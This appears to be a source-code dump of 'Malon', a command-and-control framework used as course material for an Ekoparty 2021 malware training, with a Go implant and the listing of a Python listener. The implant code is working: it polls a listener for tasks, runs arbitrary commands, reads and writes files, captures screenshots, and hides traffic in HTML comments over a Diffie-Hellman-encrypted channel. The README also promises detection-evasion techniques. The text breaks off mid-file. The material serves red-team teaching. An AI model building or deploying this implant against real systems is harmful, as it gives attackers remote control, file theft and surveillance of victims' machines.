├── .devcontainer ├── Dockerfile └── devcontainer.json ├── .gitignore ├── .vscode ├── launch.json ├── settings.json └── tasks.json ├── LICENSE.md ├── README.md ├── agent ├── Makefile ├── app │ ├── agent.go │ ├── proto │ │ └── proto.go │ └── task │ │ ├── command.go │ │ ├── file.go │ │ ├── screenshot.go │ │ ├── screenshot_dummy.go │ │ └── task.go ├── comm │ ├── client.go │ ├── dh.go │ ├── dummy_auth.go │ ├── http.go │ ├── sym.go │ └── udp.go ├── config.go ├── config.json ├── config_default.go ├── config_placeholder.bin ├── config_placeholder.go ├── cryptoutil │ ├── dh │ │ └── main.go │ └── sym │ │ └── main.go ├── main.go └── types.go ├── cli ├── cli.py └── requirements.txt ├── malon_logo.png ├── malon_lp ├── malon_lp │ ├── __init__.py │ ├── __main__.py │ ├── admin │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── json_encoder.py │ │ ├── listener_manager.py │ │ └── render_launcher.py │ ├── crypto │ │ ├── __init__.py │ │ ├── dh.py │ │ └── sym.py │ ├── database │ │ ├── __init__.py │ │ └── models.py │ └── listener │ │ ├── __init__.py │ │ ├── handler │ │ ├── __init__.py │ │ ├── api.py │ │ ├── dh.py │ │ ├── dummy_auth.py │ │ └── sym.py │ │ └── listener │ │ ├── __init__.py │ │ ├── http_listener.py │ │ ├── udp_listener.py │ │ ├── unenc_http_listener.py │ │ └── unenc_udp_listener.py ├── render_launcher │ └── config_placeholder.bin └── requirements.txt └── util └── tcp_proxy.py /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.166.1/containers/go/.devcontainer/base.Dockerfile 2 | 3 | # [Choice] Go version: 1, 1.16, 1.15 4 | ARG VARIANT="1" 5 | FROM mcr.microsoft.com/vscode/devcontainers/go:0-${VARIANT} 6 | 7 | # [Option] Install Node.js 8 | ARG INSTALL_NODE="true" 9 | ARG NODE_VERSION="lts/*" 10 | RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi 11 | 12 | RUN apt-get update && apt-get -y install python3-pip 13 | 14 | # FIXME: exit 0 to ignore errors. This is to aviod errors of type "build constraints exclude all Go files" 15 | RUN go get -d "golang.org/x/sys/windows" "github.com/lxn/win" "github.com/kbinani/screenshot"; exit 0 16 | 17 | # [Optional] Uncomment this section to install additional OS packages. 18 | # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ 19 | # && apt-get -y install --no-install-recommends 20 | 21 | # [Optional] Uncomment the next line to use go get to install anything else you need 22 | # RUN go get -x 23 | 24 | # [Optional] Uncomment this line to install global node packages. 25 | # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: 2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.166.1/containers/go 3 | { 4 | "name": "Go", 5 | "build": { 6 | "dockerfile": "Dockerfile", 7 | "args": { 8 | // Update the VARIANT arg to pick a version of Go: 1, 1.16, 1.15 9 | "VARIANT": "1", 10 | // Options 11 | "INSTALL_NODE": "false", 12 | "NODE_VERSION": "lts/*" 13 | } 14 | }, 15 | "runArgs": [ "--cap-add=SYS_PTRACE","--network=host"], 16 | 17 | // Set *default* container specific settings.json values on container create. 18 | "settings": { 19 | "terminal.integrated.shell.linux": "/bin/bash", 20 | "go.toolsManagement.checkForUpdates": "local", 21 | "go.useLanguageServer": true, 22 | "go.gopath": "/go", 23 | "go.goroot": "/usr/local/go" 24 | }, 25 | 26 | // Add the IDs of extensions you want installed when the container is created. 27 | "extensions": [ 28 | "golang.Go" 29 | ], 30 | 31 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 32 | // "forwardPorts": [], 33 | 34 | // Use 'postCreateCommand' to run commands after the container is created. 35 | // "postCreateCommand": "go version", 36 | 37 | // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. 38 | "remoteUser": "vscode" 39 | } 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | *.pyc 3 | *.egg-info 4 | agent/build 5 | malon_lp/malon.db 6 | malon_lp/render_launcher 7 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "g++ - Build and debug active file", 9 | "type": "cppdbg", 10 | "request": "launch", 11 | "program": "${fileDirname}/${fileBasenameNoExtension}", 12 | "args": [], 13 | "stopAtEntry": false, 14 | "cwd": "${workspaceFolder}", 15 | "environment": [], 16 | "externalConsole": false, 17 | "MIMode": "lldb", 18 | "preLaunchTask": "C/C++: g++ build active file" 19 | } 20 | ] 21 | } -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "string": "cpp", 4 | "iostream": "cpp" 5 | } 6 | } -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "tasks": [ 3 | { 4 | "type": "cppbuild", 5 | "label": "C/C++: gcc build active file", 6 | "command": "/usr/bin/gcc", 7 | "args": [ 8 | "-g", 9 | "${file}", 10 | "-o", 11 | "${fileDirname}/${fileBasenameNoExtension}" 12 | ], 13 | "options": { 14 | "cwd": "${workspaceFolder}" 15 | }, 16 | "problemMatcher": [ 17 | "$gcc" 18 | ], 19 | "group": "build", 20 | "detail": "Task generated by Debugger." 21 | }, 22 | { 23 | "type": "cppbuild", 24 | "label": "C/C++: g++ build active file", 25 | "command": "/usr/bin/g++", 26 | "args": [ 27 | "-g", 28 | "${file}", 29 | "-o", 30 | "${fileDirname}/${fileBasenameNoExtension}" 31 | ], 32 | "options": { 33 | "cwd": "${workspaceFolder}" 34 | }, 35 | "problemMatcher": [ 36 | "$gcc" 37 | ], 38 | "group": { 39 | "kind": "build", 40 | "isDefault": true 41 | }, 42 | "detail": "Task generated by Debugger." 43 | } 44 | ], 45 | "version": "2.0.0" 46 | } -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Pucara Information Security is pleased to support the open source community by making Malon available. 2 | 3 | Copyright \(C\) 2021 Malon , a Pucara Information Security company. All rights reserved. If you have downloaded a copy , please note that the Malon is licensed under the BSD 3-Clause License. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 4 | 5 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 6 | 7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | 9 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 10 | 11 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES \(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION\) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \(INCLUDING NEGLIGENCE OR OTHERWISE\) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Malware Crash Course 2 |
3 |
4 | 5 | Logo 6 | 7 |
8 | 9 | 10 | Discord 11 | 12 | 13 | contact 14 | 15 | 16 |
17 |
18 |

19 | 20 |

21 | Material para el curso de Malware Crash Course de Ekoparty 2021 22 |
23 | Explore the docs » 24 |
25 |
26 |

27 |

28 | 29 | ## Descripcion 30 | 31 | Dentro de la seguridad ofensiva actual, los Command and Control (C2) se convirtieron en una pieza fundamental para cualquier operación que realice un equipo de Red Team o mismo en la ejecución de ejercicios de Advanced Adversary Simulations. Dado que el mercado de los C2 ha crecido enormemente en el último tiempo y que cada uno de ellos tienen sus propias características, tanto desde la perspectiva de un operador de Red Team en relación a sus escenarios y operaciones, como desde la perspectiva de un operador de Blue Team quien necesita entender en profundidad el funcionamiento para defender mejor también, es importante conocer en detalle los conceptos y la infraestructura que existe detrás de los mismos. Este curso le brindará a los estudiantes el conocimiento y las herramientas necesarias para poder entender los fundamentos de la arquitectura correspondiente a los C2, para así luego poder interpretar funcionalidades de los diferentes command and controls (C2) existentes del mercado, en dónde además se trabajará con el proyecto de la "Command and Control Matrix". Luego una vez entendida esta fase se trabajará a lo largo del curso en desarrollar desde absolutamente cero un Command and Control (C2) propio. El C2 que realizaremos en el curso será en Python con un Implamante en GO , aplicaremos criptografía (Diffie-Hellman Key Exchange) para encriptar y autenticar el canal de comunicación entre implante y listener. También les otorgaremos las herramientas para poder integrar el C2 realizado de cero en el curso (O mismo cualquiera que alumno seleccione de la command and control matrix (C2 Matrix ) a Zuthaka , el cual es un framework de desarrollo de C2 colaborativo y open-source que permite a los desarrolladores concentrarse en las funcionalidades cores de su command and control (C2). El framework Zuthaka fué desarrollado por la empresa Pucara Information Security, y el mismo fue presentado en el espacio "Arsenal" de la reconocida conferencia de BlackHat y en el espacio de Demo Labs de DEFCON. El presente curso será dictado por los creadores de "Zuthaka" quienes tienen una amplia experiencia en el tema tanto local como en el mercado internacional. Finalmente, se trabajará con los participantes en todo lo relacionado a técnicas efectivas para evitar la detección del ejecutable y todo lo relacionado a la evasión en disco y ejecución en memoria. 32 | 33 | ## License 34 | 35 | Distributed under the BSD-3 clause License. See `LICENSE.md` for more information. 36 | 37 | ## Contact 38 | 39 | 40 | 41 | Pucara team - [@pucara](https://twitter.com/pucara) - contant@pucara.io 42 | 43 | Zuthaka community on discord - [Zuthaka](https://zuthaka.com/discord) 44 | 45 | 46 | -------------------------------------------------------------------------------- /agent/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | mkdir -p build 3 | GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o build/x64-linux . 4 | GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o build/x64-windows . 5 | GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -o build/x64-darwin . 6 | 7 | copy: 8 | cp build/* ../malon_lp/render_launcher/ -------------------------------------------------------------------------------- /agent/app/agent.go: -------------------------------------------------------------------------------- 1 | package app 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "../comm" 7 | "./proto" 8 | "./task" 9 | ) 10 | 11 | type Agent struct { 12 | client comm.Client 13 | } 14 | 15 | func NewAgent(client comm.Client) *Agent { 16 | return &Agent{client: client} 17 | } 18 | 19 | func (a *Agent) sendMsg(agentMsg *proto.AgentMsg) (*proto.LPMsg, error) { 20 | var lpMsg proto.LPMsg 21 | msg, err := json.Marshal(agentMsg) 22 | if err != nil { 23 | return nil, err 24 | } 25 | response, err := a.client.SendMsg(msg) 26 | if err != nil { 27 | return nil, err 28 | } 29 | err = json.Unmarshal(response, &lpMsg) 30 | if err != nil { 31 | return nil, err 32 | } 33 | return &lpMsg, nil 34 | } 35 | 36 | func (a *Agent) Heartbeat() error { 37 | agentMsg := &proto.AgentMsg{ 38 | GetTasksMsg: &proto.GetTasksMsg{}, 39 | } 40 | lpMsg, err := a.sendMsg(agentMsg) 41 | if err != nil { 42 | return err 43 | } 44 | if taskLisgMsg := lpMsg.TaskListMsg; taskLisgMsg != nil { 45 | var results []proto.TaskResult 46 | for _, t := range taskLisgMsg.Tasks { 47 | taskHandler, _ := task.GetTaskHandler(t) 48 | result := taskHandler.HandleTask(t) 49 | results = append(results, result) 50 | } 51 | if len(results) > 0 { 52 | agentMsg := &proto.AgentMsg{ 53 | TaskResultsMsg: &proto.TaskResultsMsg{ 54 | Results: results, 55 | }, 56 | } 57 | 58 | _, err := a.sendMsg(agentMsg) 59 | return err 60 | } 61 | } 62 | 63 | return nil 64 | } 65 | -------------------------------------------------------------------------------- /agent/app/proto/proto.go: -------------------------------------------------------------------------------- 1 | package proto 2 | 3 | import "encoding/json" 4 | 5 | type TaskResult struct { 6 | TaskId int `json:"task_id"` 7 | Info json.RawMessage `json:"info"` 8 | Output []byte `json:"output"` 9 | } 10 | 11 | type TaskResultsMsg struct { 12 | Results []TaskResult `json:"results"` 13 | } 14 | 15 | type Task struct { 16 | Id int `json:"id"` 17 | Type string `json:"type"` 18 | Info json.RawMessage `json:"info"` 19 | Input []byte `json:"input"` 20 | } 21 | 22 | type TaskListMsg struct { 23 | Tasks []Task `json:"tasks"` 24 | } 25 | 26 | type GetTasksMsg struct{} 27 | 28 | type AgentMsg struct { 29 | TaskResultsMsg *TaskResultsMsg `json:"task_results_msg,omitempty"` 30 | GetTasksMsg *GetTasksMsg `json:"get_tasks_msg,omitempty"` 31 | } 32 | 33 | type StatusMsg struct { 34 | Success bool `json:"success"` 35 | } 36 | 37 | type LPMsg struct { 38 | TaskListMsg *TaskListMsg `json:"task_list_msg,omitempty"` 39 | StatusMsg *StatusMsg `json:"status_msg,omitempty"` 40 | } 41 | -------------------------------------------------------------------------------- /agent/app/task/command.go: -------------------------------------------------------------------------------- 1 | package task 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/json" 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "time" 11 | 12 | "../proto" 13 | ) 14 | 15 | // CommandInfo 16 | // JSON en Task.Info 17 | type CommandInfo struct { 18 | TimeoutMs int `json:"timeout_ms"` // timeout del comando 19 | Env []string `json:"env"` // variables del torno del comando en formato ["NAME=VALUE", ...] 20 | Args []string `json:"args"` // argumentos a enviar al comando. El primeor es el path del ejecutable. 21 | } 22 | 23 | // CommandResultInfo 24 | // JSON en TaskResult.Info 25 | type CommandResultInfo struct { 26 | ExitCode int `json:"exit_code"` // Exit code del comando ejecutado 27 | ErrorDesc string `json:"error_desc,omitempty"` // descripcion del error en caso de fallar 28 | } 29 | 30 | // CommandTaskHandler maneja una tarea del tipo command 31 | // Ejecuta el binario en CommandInfo.Args[0], envia como stdin a Task.Input 32 | // Almacena stderr y stdout en Task.Output 33 | type CommandTaskHandler struct{} 34 | 35 | func (*CommandTaskHandler) HandleTask(task proto.Task) proto.TaskResult { 36 | var cmdInfo CommandInfo 37 | json.Unmarshal(task.Info, &cmdInfo) 38 | 39 | var stdout bytes.Buffer 40 | var stderr bytes.Buffer 41 | 42 | ctx, cancel := context.WithTimeout( 43 | context.Background(), 44 | time.Duration(cmdInfo.TimeoutMs)*time.Millisecond, 45 | ) 46 | defer cancel() 47 | 48 | execCmd := exec.CommandContext(ctx, cmdInfo.Args[0], cmdInfo.Args[1:]...) 49 | execCmd.Stdin = bytes.NewReader(task.Input) 50 | execCmd.Stdout = &stdout 51 | execCmd.Stderr = &stderr 52 | 53 | execCmd.Env = append(os.Environ(), cmdInfo.Env...) 54 | 55 | err := execCmd.Run() 56 | 57 | cmdResultInfo := CommandResultInfo{ 58 | ExitCode: 0, 59 | } 60 | 61 | if err != nil { 62 | switch t := err.(type) { 63 | case *exec.ExitError: 64 | cmdResultInfo.ExitCode = t.ExitCode() 65 | case *exec.Error: 66 | cmdResultInfo.ExitCode = 127 67 | } 68 | cmdResultInfo.ErrorDesc = fmt.Sprintf("Error: %s\n", err) 69 | } 70 | 71 | cmdResultInfoJson, _ := json.Marshal(cmdResultInfo) 72 | output := append(stderr.Bytes(), stdout.Bytes()...) 73 | return proto.TaskResult{ 74 | TaskId: task.Id, 75 | Info: cmdResultInfoJson, 76 | Output: output, 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /agent/app/task/file.go: -------------------------------------------------------------------------------- 1 | package task 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "os" 7 | 8 | "../proto" 9 | ) 10 | 11 | // FileInfo 12 | // llega serializada en JSON en Task.Info 13 | type FileInfo struct { 14 | Type string `json:"type"` 15 | FilePath string `json:"file_path"` 16 | } 17 | 18 | // FileResultInfo 19 | // Vuelve al listener serializada en JSON en TaskrRsult.Info 20 | type FileResultInfo struct { 21 | Success bool `json:"success"` 22 | ErrorDesc string `json:"error_desc,omitempty"` 23 | } 24 | 25 | // FileTaskHandler maneja una tarea del tipo File 26 | // Existen dos subtipos: 27 | // - "put" escribe los bytes de task.Input en el archivo especificado en Task.Info 28 | // - "get" lee los bytes del archivo especificado y los devuelve en TaskResult.Output 29 | // El exito/fracaso de la tarea se informa en TaskResult.Info 30 | type FileTaskHandler struct{} 31 | 32 | func (*FileTaskHandler) HandleTask(task proto.Task) proto.TaskResult { 33 | var fileInfo FileInfo 34 | json.Unmarshal(task.Info, &fileInfo) 35 | 36 | var fileResultInfo FileResultInfo 37 | var fileData []byte = nil 38 | var err error 39 | 40 | switch fileInfo.Type { 41 | case "put": 42 | err = os.WriteFile(fileInfo.FilePath, task.Input, 0666) 43 | if err == nil { 44 | fileResultInfo.Success = true 45 | } else { 46 | fileResultInfo.Success = false 47 | fileResultInfo.ErrorDesc = fmt.Sprintf("%s", err) 48 | } 49 | case "get": 50 | fileData, err = os.ReadFile(fileInfo.FilePath) 51 | if err == nil { 52 | fileResultInfo.Success = true 53 | } else { 54 | fileResultInfo.Success = false 55 | fileResultInfo.ErrorDesc = fmt.Sprintf("%s", err) 56 | } 57 | default: 58 | fileResultInfo.Success = false 59 | } 60 | 61 | fileResultInfoJson, _ := json.Marshal(fileResultInfo) 62 | 63 | return proto.TaskResult{ 64 | TaskId: task.Id, 65 | Info: fileResultInfoJson, 66 | Output: fileData, 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /agent/app/task/screenshot.go: -------------------------------------------------------------------------------- 1 | //go:build linux || windows 2 | 3 | package task 4 | 5 | import ( 6 | "bytes" 7 | "encoding/json" 8 | "fmt" 9 | "image/png" 10 | 11 | "../proto" 12 | 13 | "github.com/kbinani/screenshot" 14 | ) 15 | 16 | // ScreenshotInfo 17 | // JSON en Task.Info 18 | type ScreenshotInfo struct { 19 | Display int `json:"display"` // display a tomar screenshot. valores negativos no tienen efecto y devuelven la cantidad de displays 20 | } 21 | 22 | // ScreenshotResultInfo 23 | // JSON en TaskResult.Info 24 | type ScreenshotResultInfo struct { 25 | DisplayCount int `json:"display_count"` // cantidad de displays del sistema 26 | Display int `json:"selected_display"` // display seleccionado para tomar screenshot 27 | Success bool `json:"success"` // tuvo exito? 28 | ErrorDesc string `json:"error_desc,omitempty"` // descripcion del error en caso de fallar 29 | } 30 | 31 | // ScreenshotTaskHandler maneja una tarea del tipo screenshot 32 | // Toma un screenshot utilizando la libreria "github.com/kbinani/screenshot" 33 | type ScreenshotTaskHandler struct{} 34 | 35 | func (*ScreenshotTaskHandler) HandleTask(task proto.Task) proto.TaskResult { 36 | var screenshotInfo ScreenshotInfo 37 | 38 | json.Unmarshal(task.Info, &screenshotInfo) 39 | 40 | displayCount := screenshot.NumActiveDisplays() 41 | 42 | if screenshotInfo.Display < 0 { 43 | screenshotResultInfo := ScreenshotResultInfo{ 44 | DisplayCount: displayCount, 45 | Display: screenshotInfo.Display, 46 | Success: true, 47 | } 48 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo) 49 | return proto.TaskResult{ 50 | TaskId: task.Id, 51 | Info: screenshotResultInfoJson, 52 | Output: nil, 53 | } 54 | } else { 55 | bounds := screenshot.GetDisplayBounds(screenshotInfo.Display) 56 | img, err := screenshot.CaptureRect(bounds) 57 | if err != nil { 58 | screenshotResultInfo := ScreenshotResultInfo{ 59 | DisplayCount: displayCount, 60 | Display: screenshotInfo.Display, 61 | Success: false, 62 | ErrorDesc: fmt.Sprintf("%s", err), 63 | } 64 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo) 65 | return proto.TaskResult{ 66 | TaskId: task.Id, 67 | Info: screenshotResultInfoJson, 68 | Output: nil, 69 | } 70 | } 71 | 72 | var buffer bytes.Buffer 73 | png.Encode(&buffer, img) 74 | 75 | screenshotResultInfo := ScreenshotResultInfo{ 76 | DisplayCount: displayCount, 77 | Display: screenshotInfo.Display, 78 | Success: true, 79 | } 80 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo) 81 | return proto.TaskResult{ 82 | TaskId: task.Id, 83 | Info: screenshotResultInfoJson, 84 | Output: buffer.Bytes(), 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /agent/app/task/screenshot_dummy.go: -------------------------------------------------------------------------------- 1 | //go:build !windows && !linux 2 | 3 | package task 4 | 5 | import ( 6 | "encoding/json" 7 | 8 | "../proto" 9 | ) 10 | 11 | type ScreenshotResultInfo struct { 12 | DisplayCount int `json:"display_count"` 13 | Display int `json:"selected_display"` 14 | Success bool `json:"success"` 15 | ErrorDesc string `json:"error_desc,omitempty"` 16 | } 17 | 18 | type ScreenshotTaskHandler struct{} 19 | 20 | func (*ScreenshotTaskHandler) HandleTask(task proto.Task) proto.TaskResult { 21 | screenshotResultInfo := ScreenshotResultInfo{ 22 | DisplayCount: 0, 23 | Display: -1, 24 | Success: false, 25 | ErrorDesc: "screenshots not supported in this OS", 26 | } 27 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo) 28 | return proto.TaskResult{ 29 | TaskId: task.Id, 30 | Info: screenshotResultInfoJson, 31 | Output: nil, 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /agent/app/task/task.go: -------------------------------------------------------------------------------- 1 | package task 2 | 3 | import ( 4 | "fmt" 5 | 6 | "../proto" 7 | ) 8 | 9 | type TaskHandler interface { 10 | HandleTask(task proto.Task) proto.TaskResult 11 | } 12 | 13 | func GetTaskHandler(task proto.Task) (TaskHandler, error) { 14 | switch task.Type { 15 | case "command": 16 | return &CommandTaskHandler{}, nil 17 | case "file": 18 | return &FileTaskHandler{}, nil 19 | case "screenshot": 20 | return &ScreenshotTaskHandler{}, nil 21 | } 22 | 23 | return nil, fmt.Errorf("unknown task type") 24 | } 25 | -------------------------------------------------------------------------------- /agent/comm/client.go: -------------------------------------------------------------------------------- 1 | package comm 2 | 3 | type Client interface { 4 | SendMsg(msg []byte) ([]byte, error) 5 | } 6 | -------------------------------------------------------------------------------- /agent/comm/dh.go: -------------------------------------------------------------------------------- 1 | package comm 2 | 3 | import ( 4 | "encoding/hex" 5 | "encoding/json" 6 | "fmt" 7 | 8 | "../cryptoutil/dh" 9 | "../cryptoutil/sym" 10 | ) 11 | 12 | type DHClient struct { 13 | sharedKey []byte 14 | keyExchange *dh.KeyExchange 15 | subclient Client 16 | } 17 | 18 | type HandshakeMsg struct { 19 | PublicKey []byte `json:"public_key"` 20 | } 21 | 22 | type ServerMsg struct { 23 | Payload []byte `json:"payload"` 24 | } 25 | 26 | type ClientMsg struct { 27 | ClientID string `json:"client_id"` 28 | Payload []byte `json:"payload"` 29 | } 30 | 31 | type ErrorMsg struct { 32 | Type string `json:"type"` 33 | } 34 | 35 | type BaseMsg struct { 36 | HandshakeMsg *HandshakeMsg `json:"handshake_msg,omitempty"` 37 | ClientMsg *ClientMsg `json:"client_msg,omitempty"` 38 | ServerMsg *ServerMsg `json:"server_msg,omitempty"` 39 | ErrorMsg *ErrorMsg `json:"error_msg,omitempty"` 40 | } 41 | 42 | func NewDHClient(keyExchange *dh.KeyExchange, subclient Client) *DHClient { 43 | return &DHClient{ 44 | sharedKey: nil, 45 | keyExchange: keyExchange, 46 | subclient: subclient, 47 | } 48 | } 49 | 50 | func (c *DHClient) sendBaseMsg(baseMsg *BaseMsg) (*BaseMsg, error) { 51 | var responseBaseMsg BaseMsg 52 | msg, err := json.Marshal(baseMsg) 53 | if err != nil { 54 | return nil, err 55 | } 56 | response, err := c.subclient.SendMsg(msg) 57 | if err != nil { 58 | return nil, err 59 | } 60 | err = json.Unmarshal(response, &responseBaseMsg) 61 | if err != nil { 62 | return nil, err 63 | } 64 | return &responseBaseMsg, nil 65 | } 66 | 67 | func (c *DHClient) NegotiateKey() error { 68 | msg := BaseMsg{ 69 | HandshakeMsg: &HandshakeMsg{ 70 | PublicKey: c.keyExchange.GetPublicKey(), 71 | }, 72 | } 73 | response, err := c.sendBaseMsg(&msg) 74 | if err != nil { 75 | return err 76 | } 77 | 78 | if handshakeMsg := response.HandshakeMsg; handshakeMsg != nil { 79 | c.sharedKey, err = c.keyExchange.GetSharedKey(handshakeMsg.PublicKey) 80 | if err != nil { 81 | return err 82 | } 83 | } else { 84 | return fmt.Errorf("expected HandshakeMsg") 85 | } 86 | 87 | return nil 88 | } 89 | 90 | func (c *DHClient) GetClientID() []byte { 91 | return dh.GetClientID(c.keyExchange.GetPublicKey()) 92 | } 93 | 94 | func (c *DHClient) SendMsg(msg []byte) ([]byte, error) { 95 | if c.sharedKey == nil { 96 | err := c.NegotiateKey() 97 | if err != nil { 98 | return nil, err 99 | } 100 | } 101 | 102 | encryptedMsg, err := sym.EncryptThenSignMessage(msg, c.sharedKey) 103 | if err != nil { 104 | return nil, err 105 | } 106 | 107 | baseMsg := &BaseMsg{ 108 | ClientMsg: &ClientMsg{ 109 | ClientID: hex.EncodeToString(c.GetClientID()), 110 | Payload: encryptedMsg, 111 | }, 112 | } 113 | responseBaseMsg, err := c.sendBaseMsg(baseMsg) 114 | if err != nil { 115 | return nil, err 116 | } 117 | 118 | if serverMsg := responseBaseMsg.ServerMsg; serverMsg != nil { 119 | return sym.ValidateThenDecryptMessage(serverMsg.Payload, c.sharedKey) 120 | } else if errorMsg := responseBaseMsg.ErrorMsg; errorMsg != nil { 121 | if errorMsg.Type == "HANDSHAKE_EXPIRED" { 122 | c.NegotiateKey() 123 | return c.SendMsg(msg) 124 | } else { 125 | return nil, fmt.Errorf("server returned unknown error") 126 | } 127 | } else { 128 | return nil, fmt.Errorf("expected ServerMsg") 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /agent/comm/dummy_auth.go: -------------------------------------------------------------------------------- 1 | package comm 2 | 3 | import ( 4 | "encoding/hex" 5 | "encoding/json" 6 | ) 7 | 8 | type DummyAuthClient struct { 9 | clientID []byte 10 | subclient Client 11 | } 12 | 13 | func NewDummyAuthClient(clientID []byte, subclient Client) *DummyAuthClient { 14 | return &DummyAuthClient{ 15 | clientID: clientID, 16 | subclient: subclient, 17 | } 18 | } 19 | 20 | func (c *DummyAuthClient) GetClientID() []byte { 21 | return c.clientID 22 | } 23 | 24 | func (c *DummyAuthClient) SendMsg(msg []byte) ([]byte, error) { 25 | var responseBaseMsg BaseMsg 26 | 27 | clientMsg := BaseMsg{ 28 | ClientMsg: &ClientMsg{ 29 | ClientID: hex.EncodeToString(c.clientID), 30 | Payload: msg, 31 | }, 32 | } 33 | 34 | jsonMsg, err := json.Marshal(clientMsg) 35 | if err != nil { 36 | return nil, err 37 | } 38 | 39 | response, err := c.subclient.SendMsg(jsonMsg) 40 | if err != nil { 41 | return nil, err 42 | } 43 | err = json.Unmarshal(response, &responseBaseMsg) 44 | if err != nil { 45 | return nil, err 46 | } 47 | 48 | return responseBaseMsg.ServerMsg.Payload, nil 49 | } 50 | -------------------------------------------------------------------------------- /agent/comm/http.go: -------------------------------------------------------------------------------- 1 | package comm 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "net/url" 9 | "regexp" 10 | ) 11 | 12 | type HttpClient struct { 13 | targetUrl string 14 | } 15 | 16 | func NewHttpClient(targetUrl string) *HttpClient { 17 | return &HttpClient{ 18 | targetUrl: targetUrl, 19 | } 20 | } 21 | 22 | func (client *HttpClient) SendMsg(outgoingMsg []byte) ([]byte, error) { 23 | // A Implementar 24 | encodedOutgoingMsg := base64.StdEncoding.EncodeToString(outgoingMsg) 25 | resp, err := http.PostForm(client.targetUrl, url.Values{"m": {string(encodedOutgoingMsg)}}) 26 | 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | if resp.StatusCode != http.StatusOK { 32 | return nil, fmt.Errorf("got HTTP status code %d", resp.StatusCode) 33 | } 34 | 35 | body, err := io.ReadAll(resp.Body) 36 | if err != nil { 37 | return nil, err 38 | } 39 | 40 | msg, err := getMsgFromBody(body) 41 | if err != nil { 42 | return nil, err 43 | } 44 | 45 | return msg, nil 46 | } 47 | 48 | func getMsgFromBody(body []byte) ([]byte, error) { 49 | // A implementar 50 | re := regexp.MustCompile(`()`) 51 | match := re.Find(body) 52 | encoded := string(match[4 : len(match)-3]) 53 | data, err := base64.StdEncoding.DecodeString(encoded) 54 | if err != nil { 55 | return nil, err 56 | } 57 | 58 | return data, nil 59 | } 60 | -------------------------------------------------------------------------------- /agent/comm/sym.go: -------------------------------------------------------------------------------- 1 | package comm 2 | 3 | import ( 4 | "../cryptoutil/sym" 5 | ) 6 | 7 | type EncryptedClient struct { 8 | key []byte 9 | client Client 10 | } 11 | 12 | func NewEncryptedClient(client Client, key []byte) *EncryptedClient { 13 | return &EncryptedClient{ 14 | key: key, 15 | client: client, 16 | } 17 | } 18 | 19 | func (client *EncryptedClient) SendMsg(outgoingMsg []byte) ([]byte, error) { 20 | outgoingMsg, err := 